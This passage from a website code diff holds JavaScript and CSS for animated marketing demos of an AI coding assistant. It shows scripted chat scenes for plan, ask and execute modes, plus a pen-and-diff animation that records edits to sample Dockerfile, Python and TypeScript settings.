await typeInto(span, text, myGen, 34);
return b;
}
/** 工具摘要行:状态图标 + intent + 关键参数(不显示工具名) */
async function addToolLine(intent, param, runMs, myGen) {
var b = el('div', 'tool-line is-running anim-item');
b.appendChild(el('span', 'tool-status'));
b.appendChild(el('span', 'tool-intent', intent));
if (param) b.appendChild(el('span', 'tool-param', param));
push(b);
await step(runMs, myGen);
b.classList.remove('is-running');
b.classList.add('is-done');
return b;
}
/* ── 假鼠标:出现 → 移到目标中心 → 点击 → 消失 ── */
function cursorMoveTo(x, y, immediate) {
if (immediate) cursor.style.transition = 'none';
cursor.style.transform = 'translate(' + x + 'px,' + y + 'px)';
if (immediate) {
cursor.getBoundingClientRect(); // 强制 reflow恢复过渡
cursor.style.transition = '';
}
}
async function cursorClick(targetEl, myGen) {
var win = animWindow;
var wr = win.getBoundingClientRect();
var tr = targetEl.getBoundingClientRect();
cursorMoveTo(wr.width - 60, wr.height - 40, true);
cursor.classList.add('is-visible');
await step(260, myGen);
cursorMoveTo(tr.left - wr.left + tr.width / 2 - 4, tr.top - wr.top + tr.height / 2 - 2, false);
await step(760, myGen);
cursor.classList.add('is-clicking');
targetEl.classList.add('is-pressed');
await step(140, myGen);
cursor.classList.remove('is-clicking');
targetEl.classList.remove('is-pressed');
await step(120, myGen);
cursor.classList.remove('is-visible');
}
/* ── 模式一:计划 ── */
async function playPlan(myGen) {
addUserMsg('帮我给这个项目加一个设置页面');
await step(700, myGen);
var think = addThinkRow();
await step(1300, myGen);
removeEl(think);
await addToolLine('规划设计页面', '.astrion/plan/settings-page.md', 900, myGen);
await step(350, myGen);
// 计划:标题与条目全部逐字流式
var body = el('div', 'plan-body anim-item');
push(body);
var title = el('div', 'plan-title');
var titleSpan = el('span');
title.appendChild(titleSpan);
body.appendChild(title);
await typeInto(titleSpan, '设置页面开发计划', myGen, 55);
var items = ['梳理现有个性化设置字段与保存接口', '编写页面布局与表单组件', '接入保存并构建验证'];
for (var i = 0; i < items.length; i++) {
var row = el('div', 'plan-item');
row.appendChild(el('b', null, (i + 1) + '.'));
var itemSpan = el('span');
row.appendChild(itemSpan);
body.appendChild(row);
await typeInto(itemSpan, items[i], myGen, 26);
await step(120, myGen);
}
var actions = el('div', 'plan-actions anim-item');
var approve = el('button', 'plan-btn is-primary', '批准计划');
actions.appendChild(approve);
body.appendChild(actions);
chat.scrollTo({ top: chat.scrollHeight, behavior: 'smooth' });
await step(700, myGen);
// 鼠标点击批准
await cursorClick(approve, myGen);
approve.textContent = '已批准 ✓';
approve.classList.remove('is-primary');
approve.classList.add('is-approved');
await step(700, myGen);
// 按钮淡出收起,释放垂直空间
actions.classList.add('is-gone');
await step(380, myGen);
removeEl(actions);
// 批准后开始实施
await typeAiMsg('好的,开始实施。', myGen);
await step(250, myGen);
await addToolLine('编写设置页面组件', 'SettingsPanel.tsx', 1000, myGen);
await step(280, myGen);
await addToolLine('构建验证', 'npm run build', 1000, myGen);
await step(320, myGen);
await typeAiMsg('设置页面已完成,构建通过。', myGen);
}
/* ── 模式二:询问 ── */
async function playAsk(myGen) {
addUserMsg('帮我优化一下这个页面的性能');
await step(700, myGen);
var think = addThinkRow();
await step(1100, myGen);
removeEl(think);
await typeAiMsg('好的,我先和您聊聊。这个页面是首次加载慢,还是滚动、交互的时候慢?', myGen);
await step(500, myGen);
// 输入栏出现,用户逐字输入回答
composerText.textContent = '';
composer.classList.add('is-visible');
await step(450, myGen);
var reply = '主要是首次加载慢';
for (var i = 0; i < reply.length; i++) {
composerText.textContent += reply[i];
await step(70, myGen);
}
await step(600, myGen);
// 发送:输入栏淡出,内容变成右侧用户气泡
composer.classList.add('is-sent');
await step(240, myGen);
composer.classList.remove('is-visible', 'is-sent');
composerText.textContent = '';
addUserMsg(reply);
await step(700, myGen);
// 模型开始调查
var think2 = addThinkRow();
await step(1000, myGen);
removeEl(think2);
await typeAiMsg('好的,我来调查一下。', myGen);
await step(250, myGen);
await addToolLine('分析构建产物体积', 'npm run build', 1200, myGen);
await step(300, myGen);
await typeAiMsg('找到了:图表库被全量引入,首屏多出 2.1MB。', myGen);
}
/* ── 模式三:执行 ── */
async function playExecute(myGen) {
addUserMsg('把页面上的按钮都改成蓝色');
await step(700, myGen);
var think = addThinkRow();
await step(900, myGen);
removeEl(think);
await typeAiMsg('好的,我来改。', myGen);
await step(250, myGen);
await addToolLine('修改按钮颜色', 'css/style.css', 1000, myGen);
await step(300, myGen);
await addToolLine('构建验证', 'npm run build', 1100, myGen);
await step(350, myGen);
await typeAiMsg('已完成,所有按钮已切换为蓝色。', myGen);
}
/* ── 调度 ── */
var PLAYERS = { plan: playPlan, ask: playAsk, execute: playExecute };
function setActiveTab(mode) {
tabs.forEach(function (t) {
t.classList.toggle('is-active', t.dataset.mode === mode);
});
}
function play(mode) {
gen += 1;
var myGen = gen;
chat.innerHTML = '';
chat.scrollTop = 0;
composerText.textContent = '';
composer.classList.remove('is-visible', 'is-sent');
cursor.classList.remove('is-visible', 'is-clicking');
setActiveTab(mode);
PLAYERS[mode](myGen).catch(function (e) {
if (e && e.message !== 'cancelled') throw e;
});
}
tabs.forEach(function (t) {
t.addEventListener('click', function () { play(t.dataset.mode); });
});
// 首次进入默认播放「计划」——进入视口才开始:页面打开时用户可能还没滚到功能区,避免错过开场
var started = false;
var io = new IntersectionObserver(function (entries) {
if (!started && entries[0].isIntersecting) {
started = true;
io.disconnect();
play('plan');
}
}, { threshold: 0.3 });
io.observe(container);
}
return { init: init };
})();

View File

@ -0,0 +1,301 @@
/* 修改记录动画 模块样式主页 feature / anim3-demo 页共用
无边框无底色融于星空 glowtoken--text-1 由宿主页面提供
动画私有的三个色定义在 .anim3-window 作用域 */
.anim3-window {
--danger: #d47b6b; /* diff 删除行红,仅本动画作用域 */
/* 收盒文件:与编辑中的 3D 纸同款底色,边框用更亮的白边(叠放分层清晰) */
--file-paper: var(--bg-panel);
--file-line: rgba(238, 240, 246, 0.35);
position: relative;
width: 100%;
height: 100%;
overflow: hidden;
}
/* 舞台:固定 540×380 逻辑尺寸JS 按容器等比缩放居中transform: translate+scale */
.anim3-stage {
position: absolute;
left: 50%;
top: 50%;
width: 540px;
height: 380px;
overflow: hidden;
cursor: pointer;
user-select: none; /* 演示区禁止选中文本,避免鼠标划过时出现系统选中高亮(黑光) */
-webkit-user-select: none;
}
/* ───────── 智能体(右上) ───────── */
/* 尺寸与 04 版本控制的智能体一致70×70 */
.writer {
position: absolute;
right: 58px;
top: 26px;
width: 70px;
height: 70px;
}
.writer-avatar {
display: block;
width: 70px;
height: 70px;
color: var(--text-1);
}
.writer-avatar .astrion-avatar { width: 100%; height: 100%; }
/* 双层结构
外层 pen-posJS 逐帧/过渡定位使笔尖精确落在文字进度点上
内层 svg以笔尖为圆心旋转摇摆transform-origin 在笔尖
既有晃动笔尖又不会脱离位置 */
.pen-pos {
position: absolute;
left: 0;
top: 0;
z-index: 40; /* 最高层:高于 3D 纸、盒子30与堆叠纸21~23笔不能被挡 */
width: 40px;
height: 40px;
color: var(--accent);
will-change: transform;
transition: transform 0.45s cubic-bezier(.4,0,.2,1); /* 飞行/移动用过渡 */
}
.pen-pos.is-live {
transition: none; /* 写字逐帧驱动时关闭过渡 */
}
.writer-pen {
width: 40px;
height: 40px;
/* origin = 笔尖视觉触点SVG (2.65,21.02) 40px 盒内 (4.4,35.0) nibRef 同点
摇摆时笔尖钉住不动只有笔身晃 */
transform-origin: 11% 87.6%;
}
.writer-pen.is-writing {
animation: pen-write 0.42s ease-in-out infinite;
}
/* 擦除origin 切到笔尾橡皮触点SVG (19.2,4.8) → 盒内 (32,8)),与 eraserRef 同点 */
.writer-pen.is-erasing {
transform-origin: 80% 20%;
}
@keyframes pen-write {
0%, 100% { transform: rotate(-5deg); }
50% { transform: rotate(6deg); }
}
/* ───────── 3D 倾斜的纸 ───────── */
/* perspective 让纸呈平行四边形(不倾斜就只是一条线) */
.paper3d {
position: absolute;
left: 280px;
top: 130px;
width: 192px;
height: 122px;
transform: perspective(760px) rotateX(42deg) rotateZ(-7deg);
transform-style: preserve-3d;
}
.paper-sheet {
width: 100%;
height: 100%;
background: var(--bg-panel);
border: 1px solid var(--line);
border-radius: 6px;
padding: 18px 16px;
display: flex;
flex-direction: column;
gap: 14px;
}
/* 内容行:横线代表一行内容(行宽由 JS 逐帧驱动,不用 transitionopacity 过渡供轮间换内容淡出) */
.pline {
position: relative;
height: 4px;
border-radius: 2px;
background: var(--text-3);
opacity: 0.75;
transition: opacity 0.28s ease;
}
.paper3d.is-refilling .pline { opacity: 0; }
/* 线右端锚点0 尺寸,随线的 3D/倾斜变换,供 JS 实测真实右端点 */
.pline-end {
position: absolute;
right: 0;
top: 50%;
width: 0;
height: 0;
margin-top: -0px; /* 点本身无尺寸top:50% 即线厚中心 */
}
/* 写入行不再用绿色:与其他行同色(修改记录靠的是 diff 区,不是纸面变色) */
/* ───────── diff 区 ───────── */
.diff-view {
position: absolute;
left: 134px; /* 盒子水平中线86+48diff 中心对齐盒子中线 */
transform: translateX(-50%);
top: 0;
font-family: var(--font-mono);
font-size: 12.5px;
line-height: 1.5;
display: flex;
flex-direction: column;
gap: 3px;
z-index: 20; /* 盒内堆叠纸(21~23)之下——genie 时已隐藏,由切片接管 */
border-radius: 6px;
transition: background 0.25s ease;
}
/* genie 前:四行 diff 合为一张纸的底板(不加 outlineshorthand 不可过渡,会闪白框) */
.diff-view.is-sheet {
background: rgba(24, 30, 52, 0.92);
}
/* 轮间重置:禁用过渡,红绿底色/符号瞬时消失(否则恢复显示时会闪一下空白红绿块) */
.diff-view.no-fade { transition: none; }
.diff-view.no-fade .dline::before { transition: none; }
.diff-view.no-fade .dsign { transition: none; }
/* 收盒文件卡片单元素裁切式 genie
卡片全程同一个 DOM 元素clip-path 多边形裁切不压缩内容
body 每帧定位到轮廓包围盒文字矢量缩小全程清晰无损 */
.file-flight {
position: absolute;
pointer-events: none;
opacity: 0;
transition: opacity 0.73s ease, transform 0.22s ease;
/* SVG 视口默认 hidden 会把描边外半侧0.5px裁掉——visible 让边缘描边完整 */
overflow: visible;
/* origin 必须在基础规则上恒定绕底部翘起底边不露盒口
若只写在 is-hover 移出时 origin 瞬间跳回默认中心点视觉上就是瞬间弹回 */
transform-origin: 50% 100%;
}
.file-flight.is-on { opacity: 1; }
/* 三轮收盒后可交互hover 微抬+向右倾(选中感) */
.file-flight.is-hover {
transform: translate(2px, -2px) rotate(2.5deg);
}
/* 倒出查看时封面文字淡出diff 层接管内容) */
.file-cover-name, .file-cover-stat { transition: opacity 0.3s ease; }
.file-flight.is-bare .file-cover-name,
.file-flight.is-bare .file-cover-stat { opacity: 0; }
/* SVG 卡片path 轮廓即卡片外形——fill 纸色 + stroke 描边跟随轮廓S 曲线斜边也有描边) */
.file-flight-shape {
fill: var(--file-paper);
stroke: var(--file-line);
stroke-width: 1;
}
.file-cover-name {
font-family: var(--font-mono);
font-size: 15px;
letter-spacing: 0.02em;
fill: var(--text-3); /* 和纸上线条同色 */
}
.file-cover-stat {
font-family: var(--font-mono);
font-size: 11px;
}
.file-cover-stat .add { fill: var(--ok); }
.file-cover-stat .del { fill: var(--danger); }
/* 卡片热区三层卡只露出顶边一截热区从顶边向下延伸到盒口前缘JS 定高
重叠区归层级更高更靠前的卡 */
.card-hotspot {
position: absolute;
cursor: pointer;
}
/* 倒出查看的 diff 层:位置同 diff-view卡片倒出落点四行逐行淡入点击收回 */
.replay-diff {
position: absolute;
left: 134px;
transform: translateX(-50%);
top: 0;
font-family: var(--font-mono);
font-size: 12.5px;
line-height: 1.5;
display: flex;
flex-direction: column;
gap: 3px;
z-index: 26; /* 高于盒内堆叠卡21~23与盒前壁30不重叠位于 diff 区) */
opacity: 0;
transition: opacity 0.3s ease;
cursor: pointer;
}
.replay-diff.is-on { opacity: 1; }
.replay-diff .dline {
opacity: 0;
transform: translateY(3px);
transition: opacity 0.3s ease, transform 0.3s ease;
}
.replay-diff.is-on .dline { opacity: 1; transform: none; }
/* 收回:整体快速淡出(行不再逐行延迟,避免拖慢收回节奏) */
.replay-diff.is-closing { opacity: 0; transition: opacity 0.22s ease; }
.replay-diff.is-closing .dline { transition: none; transition-delay: 0ms; opacity: 1; transform: none; }
.dline {
position: relative;
display: flex;
gap: 12px;
padding: 3px 10px;
border-radius: 4px;
/* 容器本身始终不透明转正落位的字符立即可见不经历消失淡入
/绿底色由 ::before 独立淡入+/- 符号独立淡入 */
white-space: nowrap;
}
.dline::before {
content: '';
position: absolute;
inset: 0;
border-radius: 4px;
opacity: 0;
transition: opacity 0.3s ease;
pointer-events: none;
}
.dline.is-del::before { background: rgba(212, 123, 107, 0.08); }
.dline.is-add::before { background: rgba(123, 168, 137, 0.10); }
.dline.is-shown::before { opacity: 1; }
.dline .dsign { flex: none; width: 10px; opacity: 0; transition: opacity 0.3s ease; }
.dline.is-shown .dsign { opacity: 1; }
.dline.is-del { color: var(--danger); }
.dline.is-add { color: var(--ok); }
/* diff 行内单字符:占位时透明;落位转正后 is-lit 实色显示 */
.dch { opacity: 0; }
.dch.is-lit { opacity: 1; }
/* 飘行的字母:从笔的擦/写位置飞向 diff 行字符位,落位后转正为流内字符 */
.dch-ghost {
position: absolute;
left: 0;
top: 0;
font-family: var(--font-mono);
font-size: 12.5px;
line-height: 1.5;
pointer-events: none;
/* 不设 will-change合成层位图与转正后的矢量重绘之间会出现大小/清晰度跳变 */
transition: transform 0.34s cubic-bezier(.35,.1,.25,1);
z-index: 35; /* 高于盒前壁30飞行字母不被盒子挡 */
}
/* 笔尖/橡皮定位参考点visibility 隐藏保留几何盒供 getBoundingClientRect 实测
同时清掉 fill/stroke 防止从 SVG 根继承描边显形 */
.pen-ref { visibility: hidden; fill: none; stroke: none; pointer-events: none; }
/* 收件箱genie 收盒
后壁 z10纸挡住它前壁 z30它挡住纸纸从前后壁之间沉入 */
.inbox-part {
position: absolute;
left: 86px; /* 中心线 x=134 */
top: 166px;
width: 96px;
height: 96px;
color: var(--text-1);
opacity: 0;
transition: opacity 0.35s ease;
pointer-events: none;
}
.inbox-part.is-shown { opacity: 1; }
.box-back { z-index: 10; }
.box-front { z-index: 30; }
/* 前壁盒身填实色:不能透出后面收进去的纸(凹口线保持描边不填) */
.box-front path { fill: var(--bg-1); }
/* 盒内纸叠genie 终态的文件卡片(.file-flight本身就是插在盒子里的纸 */

View File

@ -0,0 +1,899 @@
/* 修改记录动画 —— 可复用模块(主页 feature 行 / anim3-demo 页共用
* AnimRecords.init(container)在容器内建 DOM 并自动播放
* 三轮收盒后自动轮播三张卡的 diff 详情用户按下卡片暂停轮播 5
*
* 舞台固定 540×380 逻辑尺寸按容器等比缩放居中transform scale
* 所有内部坐标不随容器变化getBoundingClientRect 读数是缩放后的视口值
* 统一除以 curScale 换算回舞台本地坐标
*/
window.AnimRecords = (function () {
'use strict';
var LOGICAL_W = 540, LOGICAL_H = 380;
function init(container) {
container.innerHTML =
'<div class="anim3-window">' +
'<div class="anim3-stage" id="anim3Stage">' +
'<div class="writer" id="writer"><span class="writer-avatar" id="writerAvatar"></span></div>' +
'<div class="pen-pos" id="penPos">' +
'<svg class="writer-pen" id="writerPen" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' +
'<path fill="var(--bg-1)" d="M21.174 6.812a1 1 0 0 0-3.986-3.987L3.842 16.174a2 2 0 0 0-.5.83l-1.321 4.352a.5.5 0 0 0 .623.622l4.353-1.32a2 2 0 0 0 .83-.497z" />' +
'<path d="m15 5 4 4" />' +
'<circle id="penNibRef" class="pen-ref" cx="2.65" cy="21.02" r="0.7" />' +
'<circle id="penEraserRef" class="pen-ref" cx="19.2" cy="4.8" r="0.7" />' +
'</svg>' +
'</div>' +
'<div class="paper3d" id="paper"><div class="paper-sheet">' +
'<div class="pline" data-w="82"><i class="pline-end"></i></div>' +
'<div class="pline" data-w="64"><i class="pline-end"></i></div>' +
'<div class="pline" data-w="71"><i class="pline-end"></i></div>' +
'<div class="pline" data-w="58"><i class="pline-end"></i></div>' +
'</div></div>' +
'<svg class="inbox-part box-back is-shown" id="boxBack" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="0.9" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' +
'<path d="M2 12 L5.45 5.11 A2 2 0 0 1 7.24 4 H16.76 a2 2 0 0 1 1.79 1.11 L22 12" />' +
'</svg>' +
'<svg class="inbox-part box-front is-shown" id="boxFront" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="0.9" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' +
'<path d="M2 12 h6 l2 3 h4 l2 -3 h6 v6 a2 2 0 0 1 -2 2 H4 a2 2 0 0 1 -2 -2 z" />' +
'</svg>' +
'<div class="diff-view" id="diffView">' +
'<div class="dline is-del"><span class="dsign">-</span><span class="dtext">theme: \'dark\'</span></div>' +
'<div class="dline is-add"><span class="dsign">+</span><span class="dtext">theme: \'classic\'</span></div>' +
'<div class="dline is-del"><span class="dsign">-</span><span class="dtext">fontSize: 13, lineHeight: 1.4</span></div>' +
'<div class="dline is-add"><span class="dsign">+</span><span class="dtext">fontSize: 14, lineHeight: 1.6</span></div>' +
'</div>' +
'</div>' +
'</div>';
var stage = document.getElementById('anim3Stage');
var paper = document.getElementById('paper');
var penPos = document.getElementById('penPos');
var pen = document.getElementById('writerPen');
var boxBack = document.getElementById('boxBack');
var boxFront = document.getElementById('boxFront');
var diffView = document.getElementById('diffView');
var lines = Array.prototype.slice.call(paper.querySelectorAll('.pline'));
var dlines = Array.prototype.slice.call(diffView.querySelectorAll('.dline'));
// 挂载六边形眼睛(眨眼 + 追踪)
if (window.AstrionAvatar) {
AstrionAvatar.mount(document.getElementById('writerAvatar'), { mode: 'idle', blink: true, track: true });
}
/* 540×380 min(w/540, h/380)
垂直方向按内容中心CONTENT_CY对齐容器中心内容包围盒为 diff 0 ~ 盒底 262
中心 131 舞台中心 190直接居中会让整体视觉偏上 */
var CONTENT_CY = 131;
var curScale = 1;
function updateScale() {
var w = container.clientWidth, h = container.clientHeight;
curScale = Math.min(w / LOGICAL_W, h / LOGICAL_H) || 1;
stage.style.top = 'calc(50% + ' + ((LOGICAL_H / 2 - CONTENT_CY) * curScale).toFixed(1) + 'px)';
stage.style.transform = 'translate(-50%, -50%) scale(' + curScale + ')';
}
if (window.ResizeObserver) new ResizeObserver(updateScale).observe(container);
window.addEventListener('resize', updateScale);
/* rect stage scale curScale
sr 一律现场重测擦写/飞行序列长达数百 ms外部缓存的旧 sr 在页面滚动后已过期
与调用方刚实测的 rect 相差一个滚动量文字的起点终点就会跟着页面滚动歪掉 */
function toLocal(rect, sr) {
sr = stageRect();
return {
left: (rect.left - sr.left) / curScale,
top: (rect.top - sr.top) / curScale,
width: rect.width / curScale,
height: rect.height / curScale
};
}
var gen = 0;
/* /
* SVG 内放了两个隐形参考点penNibRef / penEraserRef
* 运行时 getBoundingClientRect 实测其渲染位置做补偿
* 无论笔怎么旋转/摇摆作用点都精确钉在目标上 */
var nibRef = document.getElementById('penNibRef');
var eraserRef = document.getElementById('penEraserRef');
var penTx = 0, penTy = 0;
/*
04 同款手持偏移writer 盒左上 (412,26) + (46,58) */
var PEN_HOME = { x: 458, y: 84 };
/* rAF rAF
恢复可见时从冻结点继续setTimeout 在后台只是降频不会停会攒动画导致恢复瞬间全放完 */
function rafWait(ms) {
return new Promise(function (resolve) {
var acc = 0, last = performance.now();
function tick(now) {
acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */
last = now;
if (acc >= ms) { resolve(); return; }
requestAnimationFrame(tick);
}
requestAnimationFrame(tick);
});
}
async function step(ms, myGen) {
await rafWait(ms);
if (myGen !== gen) throw new Error('cancelled');
}
function el(tag, cls) {
var e = document.createElement(tag);
if (cls) e.className = cls;
return e;
}
function stageRect() { return stage.getBoundingClientRect(); }
/* 缓动 */
function easeOut(p) { return 1 - (1 - p) * (1 - p); }
function easeInOut(p) { return p < 0.5 ? 2 * p * p : 1 - 2 * (1 - p) * (1 - p); }
/* rAF 逐帧驱动,进度按可见时间累计(后台冻结,恢复不跳变);返回 false/取消时提前结束 */
function tween(ms, fn, myGen) {
return new Promise(function (resolve) {
var acc = 0, last = performance.now();
function tick(now) {
if (myGen !== gen) { resolve(); return; }
acc += Math.min(now - last, 100);
last = now;
var p = Math.min(acc / ms, 1);
fn(p);
if (p >= 1) { resolve(); return; }
requestAnimationFrame(tick);
}
requestAnimationFrame(tick);
});
}
function setPen(x, y) {
penTx = x; penTy = y;
penPos.style.transform = 'translate(' + x.toFixed(1) + 'px,' + y.toFixed(1) + 'px)';
}
/* 手动微调css px数据对准后仍有轻微视觉偏差时在这里调用户肉眼验收 */
var NIB_TWEAK = { x: 0, y: -1.8 };
var ERASER_TWEAK = { x: 0, y: 0 };
/* 把参考点精确移到舞台坐标 (x, y):实测当前位置,差值补偿到外层 translate一次收敛 */
function refTo(refEl, x, y, sr) {
sr = stageRect(); /* 现场重测,同 toLocal */
var r = refEl.getBoundingClientRect();
var cx = (r.left + r.width / 2 - sr.left) / curScale;
var cy = (r.top + r.height / 2 - sr.top) / curScale;
setPen(penTx + (x - cx), penTy + (y - cy));
}
function nibTo(x, y, sr) { refTo(nibRef, x + NIB_TWEAK.x, y + NIB_TWEAK.y, sr); }
function eraserTo(x, y, sr) { refTo(eraserRef, x + ERASER_TWEAK.x, y + ERASER_TWEAK.y, sr); }
/* 线
* 用线内右端锚点.pline-end的实测位置兼容 3D 透视 + rotZ 倾斜 */
function lineTip(line, sr) {
sr = stageRect(); /* 现场重测,同 toLocal */
var r = line.querySelector('.pline-end').getBoundingClientRect();
return { x: (r.left + r.width / 2 - sr.left) / curScale, y: (r.top + r.height / 2 - sr.top) / curScale };
}
function nibToLineTip(line, sr) {
var t = lineTip(line, sr);
nibTo(t.x, t.y, sr);
}
/* 三轮内容Dockerfile / Python / TS不全是一种代码
纸上横线长度 对应行字符数~2.3%/线
file/tone收盒前渐变覆盖的文件卡//绿露出一截即可分辨 */
var ROUNDS = [
{
file: 'Docker',
paperW: [34, 26, 59, 44],
edits: [
{ newW: 26, del: 'EXPOSE 8080', add: 'EXPOSE 8091' },
/* 最长行 26 字符≈237px 宽diff 左缘保持在 stage 内(>15px否则左缘描边被 stage 裁掉 */
{ newW: 53, del: 'CMD ["python", "server.py"]', add: 'CMD ["python", "main.py"]' }
]
},
{
file: 'api.py',
paperW: [56, 35, 46, 30],
edits: [
{ newW: 35, del: 'MAX_RETRIES = 3', add: 'MAX_RETRIES = 5' },
{ newW: 46, del: 'request_timeout = 30', add: 'request_timeout = 60' }
]
},
{
file: 'theme.ts',
paperW: [46, 30, 66, 58],
edits: [
{ newW: 37, del: "theme: 'dark'", add: "theme: 'classic'" },
{ newW: 66, del: 'fontSize: 13, lineHeight: 1.4', add: 'fontSize: 14, lineHeight: 1.6' }
]
}
];
/* SVG dx/dy=0.5 1px 1px
每往里一张纸顶边抬高 ~10px宽度按侧边角度同步收窄只露出顶部一截
topY/bottomY stage 坐标wRatio 为相对盒子图标宽的比例 */
/* ~8%
底边都落在盒口附近194/183/172每张收进去的瞬间都是真的插进盒子不悬空
顶边各露 5px底边落差 11px - 高度缩 6px 5px */
/*
每张收进去的瞬间都是真的插进盒子不悬空顶边各露 5px
坐标基于盒子下移 50px 盒口 y=224 */
var FILED_SPECS = [
{ topY: 182, bottomY: 234, wRatio: 0.66 }, /* 最前:高 52最宽、最低、贴前壁 */
{ topY: 177, bottomY: 223, wRatio: 0.608 }, /* 中间:高 46 */
{ topY: 172, bottomY: 212, wRatio: 0.556 } /* 最里:高 40底边在盒口线上 */
];
/* diff /
落位的 ghost 会转正替换占位符成为流内正式字符reset 时重建占位 */
var dlineTexts = [];
function setDiffTexts(r) {
var e = ROUNDS[r].edits;
dlineTexts = [e[0].del, e[0].add, e[1].del, e[1].add];
}
setDiffTexts(0);
var dlineChars = dlines.map(function () { return []; });
function buildDlineChars() {
dlines.forEach(function (d, di) {
var t = d.querySelector('.dtext');
t.textContent = '';
dlineChars[di] = [];
for (var i = 0; i < dlineTexts[di].length; i++) {
var c = el('span', 'dch');
/* 空格用不换行空格:普通空格 span 会塌缩成 0 宽/高度异常,落点歪斜 */
c.textContent = dlineTexts[di][i] === ' ' ? ' ' : dlineTexts[di][i];
t.appendChild(c);
dlineChars[di].push(c);
}
});
}
buildDlineChars();
/* (x0,y0)/ diff
落位后转正替换占位符成为流内正式字符genie 收纸时文字随纸一起变形
首个落位字符触发行容器/绿底色淡入底色与文字同步不先于文字出现 */
function flyChar(x0, y0, chSpan, sr, myGen) {
sr = stageRect(); /* 现场重测,同 toLocal与 to 同刻,滚动不歪 */
var to = chSpan.getBoundingClientRect();
var g = el('span', 'dch-ghost');
g.textContent = chSpan.textContent;
g.style.color = getComputedStyle(chSpan).color;
g.style.transform = 'translate(' + (x0 - 3).toFixed(1) + 'px,' + (y0 - 8).toFixed(1) + 'px)';
stage.appendChild(g);
void g.offsetWidth; /* 起始位定格后再设终点,保证过渡触发 */
g.style.transform = 'translate(' + ((to.left - sr.left) / curScale).toFixed(1) + 'px,' + ((to.top - sr.top) / curScale).toFixed(1) + 'px)';
g.addEventListener('transitionend', function handler() {
g.removeEventListener('transitionend', handler);
if (myGen !== gen) { g.parentNode && g.parentNode.removeChild(g); return; }
/* 飞行过渡真正结束后转正:清掉行内样式、换成流内字符 class、替换占位符同帧完成无跳变 */
g.style.cssText = '';
g.className = 'dch is-lit';
var row = chSpan.parentNode; /* .dtext */
var dline = row.parentNode; /* .dline */
row.replaceChild(g, chSpan);
/* 第一个字符到位,该行的红绿背景与 +/- 符号即浮现(后续字符陆续落位在已有底色的行里) */
dline.classList.add('is-shown');
});
}
function applyWidths() {
lines.forEach(function (l) {
l.style.width = l.dataset.w + '%';
});
}
function reset() {
gen += 1;
disableBrowse();
pen.classList.remove('is-writing');
penPos.classList.remove('is-live');
lines.forEach(function (l) {
l.classList.remove('is-new');
l.style.opacity = '';
});
lines.forEach(function (l, i) { l.dataset.w = ROUNDS[0].paperW[i]; });
applyWidths();
setDiffTexts(0);
diffView.classList.add('no-fade'); /* 重播重置同样禁用过渡,防红绿块淡出闪现 */
dlines.forEach(function (d) { d.classList.remove('is-shown'); });
Array.prototype.slice.call(stage.querySelectorAll('.dch-ghost')).forEach(function (g) { g.parentNode.removeChild(g); });
buildDlineChars(); /* 落位字符已转正为流内文本,重播前重建透明占位 */
Array.prototype.slice.call(stage.querySelectorAll('.file-flight')).forEach(function (g) { g.parentNode.removeChild(g); });
diffView.style.clipPath = '';
diffView.style.transform = '';
diffView.style.transformOrigin = '';
diffView.style.opacity = '';
diffView.style.visibility = '';
diffView.classList.remove('is-sheet');
void diffView.offsetWidth;
diffView.classList.remove('no-fade');
/* 收件箱始终显示,不在重置时隐藏 */
pen.classList.remove('is-erasing');
pen.style.transform = '';
penPos.classList.add('is-live'); /* 重置瞬移,不起飞行动画 */
nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
void penPos.offsetWidth; /* 强制样式计算:让 transform 在 transition:none 下定格,避免移除 is-live 后触发回退过渡 */
penPos.classList.remove('is-live');
}
/* 改写一行:飞向行右端同时倒转笔换到橡皮 → 橡皮小幅度晃动擦掉(线缩短,橡皮跟随)→ 边转回边滑到书写位 → 新行从笔尖长出 */
async function rewriteLine(line, newW, delDline, addDline, myGen) {
var sr = stageRect();
var oldW = parseFloat(line.dataset.w);
// 1) 飞行倒笔一步到位:飞向行右端的同时顺时针转 90° + 滑移换端,到达时橡皮恰好按到线上
// (擦除姿态为「左上—右下」:橡皮在右下接触线,笔身朝左上,与写字的「左下—右上」镜像区分)
// (同步块内连续 setPen/transform 不触发渲染,借此算出精确的起止 translate
// (同步块内连续 setPen/transform 不触发渲染,借此算出精确的起止 translate
pen.classList.add('is-erasing');
penPos.classList.add('is-live');
var t0 = lineTip(line, sr);
var fromX = penTx, fromY = penTy;
pen.style.transform = 'rotate(90deg)';
eraserTo(t0.x, t0.y, sr); /* 算出橡皮贴线的目标 translate */
var toX = penTx, toY = penTy;
pen.style.transform = '';
setPen(fromX, fromY); /* 设回起点,同一同步块内不渲染 */
await tween(540, function (p) {
var e = easeInOut(p);
pen.style.transform = 'rotate(' + (90 * e).toFixed(1) + 'deg)';
setPen(fromX + (toX - fromX) * e, fromY + (toY - fromY) * e);
}, myGen);
// 3) 擦除:线缩短,橡皮跟随右端;笔小幅晃动;字母随擦除从橡皮处逐个飘向左侧红行(从右往左)
// 时长与行长成正比(等速擦除);行容器(红底)随首个落位字符出现
var delChars = dlineChars[dlines.indexOf(delDline)];
var dN = delChars.length;
var nextDel = dN - 1;
var eraseMs = Math.round(oldW * 7);
await tween(eraseMs, function (p) {
line.style.width = (oldW * (1 - easeInOut(p))) + '%';
var wob = Math.sin(p * Math.PI * 4) * 7; // 两个来回±7°
pen.style.transform = 'rotate(' + (90 + wob).toFixed(1) + 'deg)';
var t = lineTip(line, sr);
eraserTo(t.x, t.y, sr);
while (nextDel >= 0 && p >= (dN - nextDel) / (dN + 1)) {
flyChar(t.x, t.y, delChars[nextDel], sr, myGen);
nextDel--;
}
}, myGen);
// 5) 回正:翻回 0° 与换端回笔尖融合为一步(线宽已 0右端即行首到位即开写
// 转回 0° 后移除 is-erasingorigin 切回笔尖无跳变
var home = lineTip(line, sr);
var backFromX = penTx, backFromY = penTy;
pen.style.transform = '';
nibTo(home.x, home.y, sr);
var backToX = penTx, backToY = penTy;
pen.style.transform = 'rotate(90deg)';
setPen(backFromX, backFromY);
await tween(300, function (p) {
var e = easeInOut(p);
